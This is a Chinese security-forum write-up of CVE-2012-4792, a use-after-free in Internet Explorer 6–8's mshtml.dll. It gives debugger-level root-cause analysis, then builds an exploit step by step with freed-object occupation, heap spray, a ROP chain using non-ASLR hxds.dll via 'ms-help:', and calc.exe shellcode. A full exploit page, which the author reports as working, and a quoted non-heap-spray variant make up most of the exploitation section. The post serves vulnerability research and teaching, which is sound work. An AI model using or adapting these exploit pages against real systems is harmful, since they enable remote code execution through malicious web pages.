-
-
[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792
-
发表于: 2021-4-18 21:41 886
-
Internet Explorer漏洞分析(四)——CVE-2012-4792
1 2 3 4 5 | 1. 本文一共 2181 个字 28 张图 预计阅读时间 14 分钟 2. 本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载 3. 本篇文章是CVE - 2012 - 4792 漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞 4. 本篇文章十分适合漏洞安全研究人员进行交流学习 5. 若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 |
0x01 漏洞信息
0x01.1 漏洞简述
- 编号:CVE-2012-4792
- 类型:释放重引用(Use After Free)
- 漏洞影响:远程代码执行(RCE)
- CVSS 2.0:9.3
mshtml.dll
在释放CButton
对象后没有更新CDoc
中Default Element对此地址引用,以致后续CElement::FindDefaultElem
会重新获取此地址,传递给CMarkup::OnLoadStatusDone
函数,使用已释放内存。
0x01.2 漏洞影响
Microsoft Internet Explorer 6 through 8
0x01.3 修复方案
[MS13-008]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-008
0x02 漏洞分析
0x02.1 分析环境
- OS版本:Windows 7 Service Pack 1 x86
- Internet Explorer版本:8.0.7601.17514
- mshtml.dll版本:8.0.7601.17514
- jscript.dll版本:5.8.7601.17514
0x02.2 详细分析
分析用POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <!doctype html> <html> <head> <script> function exploit() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById( "a" ); / / Math.tan( 2 , 1 ); e1 = document.createElement( "div" ) / / Math.sin( 2 , 1 ); e2 = document.createElement( "q" ); / / Math.cos( 2 , 1 ); e1.applyElement(e2); e1.appendChild(document.createElement( 'button' )); e1.applyElement(e0); e2.innerHTML = ""; e2.appendChild(document.createElement( 'body' )); } catch(e) { } CollectGarbage(); } < / script> < / head> <body onload = "exploit()" > <form id = "a" > < / form> < / body> < / html> |
借助Math.tan
、Math.sin
、Math.cos
(分别对应jscript!Tan
、jscript!sin
、jscript!cos
)及mshtml!CreateElement
可观察各对象的创建。document.createElement("div")
:
document.createElement("q")
:
document.createElement('button')
:
下面来看如何创建DOM流,跟进CElement::applyElement
函数分析,其创建位于CElement::EnsureInMarkup
中:
CElement::EnsureInMarkup
—>CDoc::CreateMarkupWithElement
—>CTreeNode::CTreeNode
:
其执行情况如下:
调用CTreeNode::CTreeNode
完成:
可以看出div
元素(即e1
)的CTreeNode—>parent
初始指向CRootElement,CTreeNode
类结构如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | class CTreeNode { public: CElement * element; CTreeNode * parent; BYTE _etag; / / 0 - 7 : element tag BYTE _fFirstCommonAncestorNode : 1 ; / / 8 : for finding common ancestor BYTE _fInMarkup : 1 ; / / 9 : this node is in a markup and shouldn't die BYTE _fInMarkupDestruction : 1 ; / / 10 : Used by CMarkup::DestroySplayTree BYTE _fHasLookasidePtr : 2 ; / / 11 - 12 Lookaside flags BYTE _fBlockNess : 1 ; / / 13 : Cached from format - - valid if _iFF ! = - 1 BYTE _fHasLayout : 1 ; / / 14 : Cached from format - - valid if _iFF ! = - 1 BYTE _fUnused : 1 ; / / 15 : Unused SHORT _iPF; / / 16 - 31 : Paragraph Format / / DWORD 2 SHORT _iCF; / / 0 - 15 : Char Format SHORT _iFF; CTreePos _tpBegin; CTreePos _tpEnd; DWORD unknow1; DWORD unknow2; DWORD unknow3; }; |
将CTreeNode
对象地址写入Element对象偏移0x14位置处:
CMarkup::ReparentDirectChildren
将q
元素(即e2
)的CTreeNode地址写至div
元素CTreeNode—>parent
中:
CElement类部分结构含义如下:
1 2 3 4 5 6 | + 0x10 CAttributeCollection + 0x00 The total size of the Attribute Array<< 2 + 0x04 Number of Attributes + 0x08 CAttrArray + 0x0c + 0x14 CTreeNode |
对POC执行完e1.applyElement(e0);
语句后所创建对象作一总结:
1 2 3 4 5 6 7 8 | e0 Address: 0x0026e4c8 (Form Element) CTreeNode Address: 0x00307cb0 e1 Address: 0x002db1e8 (Div Element) CTreeNode Address: 0x00307af8 e2 Address: 0x002dad38 (Phrase Element) CTreeNode Address: 0x00307b50 button Address: 0x00311b48 CTreeNode Address: 0x00307ba8 |
对象布局如下:
下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));
对应函数为CElement::appendChild
,对于button
元素,其会执行CElement::SetDefaultElem
函数,将该元素设为Default Element:
具体执行如下:
e2.innerHTML = "";
会将Phrase内元素清空:
e2.appendChild(document.createElement('body'));
:
CollectGarbage();
对应函数为jscript!JsCollectGarbage
,它会调用mshtml!PlainTrackerRelease
对button
元素进行释放:
但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8
),以致后续mshtml!CElement::FindDefaultElem
函数使用已释放内存,触发漏洞:
0x02.3 利用分析
0x02.3a Heapspray
首先是对已释放CButton对象内存进行占位,可通过两种方式——className
与title
。className
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | <!doctype html> <html> <head> <script> var arr_button = new Array(); var junk = unescape( "%u4141%u4141" ); while (junk.length < ( 0x100 - 6 ) / 2 ) { junk + = junk; } function helloWorld() { var e = document.createElement( 'div' ); var e0 = null; var e1 = null; var e2 = null; for (i = 0 ; i < 20 ; i + + ) { document.createElement( 'button' ); } try { e0 = document.getElementById( "a" ); e1 = document.getElementById( "b" ); e2 = document.createElement( "q" ); e1.applyElement(e2); e1.appendChild(document.createElement( 'button' )); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement( 'body' )); } catch(e) { } CollectGarbage(); for (var i = 0 ; i< 0x50 ; i + + ) { arr_button[i] = document.createElement( "button" ); arr_button[i].className = junk.substring( 0 ,( 0x58 - 6 ) / 2 ); } } < / script> < / head> <body onload = "eval(helloWorld())" > <form id = "a" > < / form> <dfn id = "b" > < / dfn> < / body> < / html> |
title
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <!doctype html> <html> <head> <script> var arr_div = new Array(); var junk = unescape( "%u4141%u4141" ); while (junk.length < ( 0x100 - 6 ) / 2 ) { junk + = junk; } function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById( "a" ); e1 = document.getElementById( "b" ); e2 = document.createElement( "q" ); e1.applyElement(e2); e1.appendChild(document.createElement( 'button' )); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement( 'body' )); } catch(e) { } CollectGarbage(); for (var i = 0 ; i< 0x50 ; i + + ) { arr_div[i] = document.createElement( "div" ); arr_div[i].title = junk.substring( 0 ,( 0x58 - 6 ) / 2 ); } } < / script> < / head> <body onload = "eval(helloWorld())" > <form id = "a" > < / form> <dfn id = "b" > < / dfn> < / body> < / html> |
(注:上述两处代码均来自[用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html)
两种方式执行流对比:
其最终都会调用_HeapAllocString
,其会调用ULongAdd
函数将substring
传递第二个参数加1,之后乘2传递给HeapAlloc
分配该数值大小堆块:
创建CButton对象时申请堆块大小为0x58,如此一来,需要修改junk.substring(0,(0x58-6)/2)
为junk.substring(0,(0x58-2)/2)
:
完成占位:
之后进行Heap Spray:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | <!doctype html> <html> <head> <script> var arr_div = new Array(); var junk = unescape( "%u0c0c%u0c0c" ); while (junk.length < ( 0x100 - 6 ) / 2 ) { junk + = junk; } var nops = unescape( "%u9090%u9090" ); while (nops.length< 0x1000 ) nops + = nops; var code = unescape( "%u4141%u4141%u4141%u4141" ); / / can be ROP or Shellcode var offset = 0x5F4 ; var junk_offset = nops.substring( 0 , 0x5F4 ); var shellcode = junk_offset + code + nops.substring( 0 , 0x800 - 0x5F4 - code.length); while (shellcode.length< 0x40000 ) { shellcode + = shellcode; } var block = shellcode.substring( 0 , 0x40000 ); var heap_chunks = new Array(); for (var i = 1 ; i < 500 ; i + + ) heap_chunks[i] = block.substring( 0 , 0x40000 ); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById( "a" ); e1 = document.getElementById( "b" ); e2 = document.createElement( "q" ); e1.applyElement(e2); e1.appendChild(document.createElement( 'button' )); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement( 'body' )); } catch(e) { } CollectGarbage(); for (var i = 0 ; i< 0x50 ; i + + ) { arr_div[i] = document.createElement( "div" ); arr_div[i].title = junk.substring( 0 ,( 0x58 - 2 ) / 2 ); } } < / script> < / head> <body onload = "eval(helloWorld())" > <form id = "a" > < / form> <dfn id = "b" > < / dfn> < / body> < / html> |
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c
位置,堆块上数据从0x0024
开始,0x0c0c-0x0024=0xbe8
,该值除以2即为0x5f4:
最后是Bypass ASLR&DEP。加入如下语句:
1 2 3 | <SCRIPT language = "JavaScript" > location.href = 'ms-help:' < / SCRIPT> |
会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll
文件,该文件并未开启ASLR,故可利用其构造ROP链(注:该文件随Office版本不同而不同,笔者采用Office 2010进行构造)。stackpivot
有两处可供使用——0x51be4a41
与0x51bd29c7
,最终构造Exploit如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | <!doctype html> <html> <head> <SCRIPT language = "JavaScript" > location.href = 'ms-help:' < / SCRIPT> <script> var arr_div = new Array(); var junk = unescape( "%u0b30%u0c0c" ); while (junk.length < ( 0x100 - 6 ) / 2 ) { junk + = junk; } var nops = unescape( "%u9090%u9090" ); while (nops.length< 0x400 ) nops + = nops; while (nops.length< 0x5f2 ) nops + = unescape( "%ub30e%u51c3" ); nops + = unescape( "%u198c%u51be" ); var code = unescape( "%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd" + "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f" + "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5" + "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be" + "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5" + "%u9090%u9090%ua8dc%u51bd" + / / ROP "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + / / shellcode calc.exe "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" + "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" + "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" + "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" + "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" + "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" + "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" + "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" + "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" + "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" + "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" + "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" + "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" + "%ua4b3%u7851%u431a%u1bd2%u4162" ); var offset = 0x5F4 ; var junk_offset = nops.substring( 0 , 0x5F4 ); var shellcode = junk_offset + code + nops.substring( 0 , 0x800 - 0x5F4 - code.length); while (shellcode.length< 0x40000 ) { shellcode + = shellcode; } var block = shellcode.substring( 0 , 0x40000 ); var heap_chunks = new Array(); for (var i = 1 ; i < 500 ; i + + ) heap_chunks[i] = block.substring( 0 , 0x40000 ); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById( "a" ); e1 = document.getElementById( "b" ); e2 = document.createElement( "q" ); e1.applyElement(e2); e1.appendChild(document.createElement( 'button' )); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement( 'body' )); } catch(e) { } CollectGarbage(); for (var i = 0 ; i< 0x50 ; i + + ) { arr_div[i] = document.createElement( "div" ); arr_div[i].title = junk.substring( 0 ,( 0x58 - 2 ) / 2 ); } } < / script> < / head> <body onload = "eval(helloWorld())" > <form id = "a" > < / form> <dfn id = "b" > < / dfn> < / body> < / html> |
成功弹出计算器:
0x02.3b Non-Heapspray
来自[Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | <!doctype html> <HTML XMLNS:t = "urn:schemas-microsoft-com:time" > <head> <meta> <?IMPORT namespace = "t" implementation = "#default#time2" > < / meta> <script> function helloWorld() { e_form = document.getElementById( "formelm" ); e_div = document.getElementById( "divelm" ); animvalues = "\u4141\u4141" while (animvalues.length < 0xDC ) { animvalues + = animvalues } for (i = 0 ; i < 21 ; i + + ) { animvalues + = ";cyan" ; } for (i = 0 ; i < 20 ; i + + ) { document.createElement( 'button' ); } e_div.appendChild(document.createElement( 'button' )) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement( 'body' )); CollectGarbage(); try { a = document.getElementById( 'myanim' ); a.values = animvalues; } catch(e) {} } < / script> < / head> <body onload = "eval(helloWorld())" > <t:ANIMATECOLOR id = "myanim" / > <div id = "divelm" >< / div> <form id = "formelm" > < / form> < / body> < / html> |
0x03 参阅链接
- [CVE-2012-4792 IE 0day (CButton use after free)漏洞分析]https://www.freebuf.com/articles/system/6702.html
- [用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html
- [CVE-2012-4792 漏洞利用学习笔记]https://blog.csdn.net/Hanxinyi930702/article/details/101457604
- [Bypassing Microsoft Windows ASLR with a little help by MS-Help]https://developer.aliyun.com/article/449548
- [一种非堆喷射的IE浏览器漏洞利用技术研究]http://netinfo-security.org/CN/article/downloadArticleFile.do?attachType=PDF&id=5535
- [Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/
- [IE DOM 树概览]https://www.jianshu.com/p/8cd37ffe9a98
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课